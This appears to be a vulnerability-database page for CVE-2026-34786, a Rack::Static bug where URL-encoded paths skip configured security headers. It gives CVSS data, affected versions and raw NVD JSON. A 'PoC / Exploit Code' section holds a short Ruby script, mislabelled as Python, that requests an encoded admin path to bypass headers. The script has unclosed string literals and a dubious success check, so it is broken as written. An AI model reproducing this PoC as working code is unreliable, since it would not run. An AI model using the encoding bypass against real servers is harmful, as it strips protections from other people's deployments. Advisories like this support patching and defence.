Security Vulnerability Report
中文
CVE-2026-34786 CVSS 5.3 MEDIUM

CVE-2026-34786

Published: 2026-04-02 17:16:25
Last Modified: 2026-04-16 17:19:00

Description

Rack is a modular Ruby web server interface. Prior to versions 2.2.23, 3.1.21, and 3.2.6, Rack::Static#applicable_rules evaluates several header_rules types against the raw URL-encoded PATH_INFO, while the underlying file-serving path is decoded before the file is served. As a result, a request for a URL-encoded variant of a static path can serve the same file without the headers that header_rules were intended to apply. In deployments that rely on Rack::Static to attach security-relevant response headers to static content, this can allow an attacker to bypass those headers by requesting an encoded form of the path. This issue has been patched in versions 2.2.23, 3.1.21, and 3.2.6.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:rack:rack:*:*:*:*:*:ruby:*:* - VULNERABLE
cpe:2.3:a:rack:rack:*:*:*:*:*:ruby:*:* - VULNERABLE
cpe:2.3:a:rack:rack:*:*:*:*:*:ruby:*:* - VULNERABLE
Rack < 2.2.23
Rack < 3.1.21
Rack < 3.2.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Proof of Concept for CVE-2026-34786 # This script demonstrates bypassing security headers via URL encoding require 'net/http' # Target configuration target_host = 'localhost' target_port = 3000 protected_path = '/admin/settings.json' # Path configured with strict headers # Scenario 1: Normal Request # Expected: Security headers are present (e.g., X-Content-Type-Options) uri_normal = URI("http://#{target_host}:#{target_port}#{protected_path} res_normal = Net::HTTP.get_response(uri_normal) puts "[Normal] Response Headers:" puts res_normal.each_header.to_h.select { |k, _| k.start_with?('X-') } # Scenario 2: Exploit Request (URL Encoded) # The path is encoded (e.g., /admin -> %2fadmin or just encoding alpha chars depending on implementation) # Here we encode the first character 'a' -> %61 encoded_path = protected_path.sub('a', '%61') uri_exploit = URI("http://#{target_host}:#{target_port}#{encoded_path} res_exploit = Net::HTTP.get_response(uri_exploit) puts "\n[Exploit] Response Headers:" puts res_exploit.each_header.to_h.select { |k, _| k.start_with?('X-') } if res_exploit.body.include?('admin') && res_exploit['X-Content-Type-Options'].nil? puts "\n[SUCCESS] Security header bypassed! File served without protection." else puts "\n[FAIL] Bypass did not work or headers are missing." end

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-34786", "sourceIdentifier": "[email protected]", "published": "2026-04-02T17:16:25.030", "lastModified": "2026-04-16T17:19:00.317", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Rack is a modular Ruby web server interface. Prior to versions 2.2.23, 3.1.21, and 3.2.6, Rack::Static#applicable_rules evaluates several header_rules types against the raw URL-encoded PATH_INFO, while the underlying file-serving path is decoded before the file is served. As a result, a request for a URL-encoded variant of a static path can serve the same file without the headers that header_rules were intended to apply. In deployments that rely on Rack::Static to attach security-relevant response headers to static content, this can allow an attacker to bypass those headers by requesting an encoded form of the path. This issue has been patched in versions 2.2.23, 3.1.21, and 3.2.6."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-180"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:rack:rack:*:*:*:*:*:ruby:*:*", "versionEndExcluding": "2.2.23", "matchCriteriaId": "AD5DE7DE-3A8B-4064-A7D5-1E117A101E81"}, {"vulnerable": true, "criteria": "cpe:2.3:a:rack:rack:*:*:*:*:*:ruby:*:*", "versionStartIncluding": "3.0.0", "versionEndExcluding": "3.1.21", "matchCriteriaId": "6948AAA6-873D-46BA-AA22-4C81138128E1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:rack:rack:*:*:*:*:*:ruby:*:*", "versionStartIncluding": "3.2.0", "versionEndExcluding": "3.2.6", "matchCriteriaId": "3FB592AD-E826-49BE-AC6D-E5F55FDCC96E"}]}]}], "references": [{"url": "https://github.com/rack/rack/security/advisories/GHSA-q4qf-9j86-f5mh", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}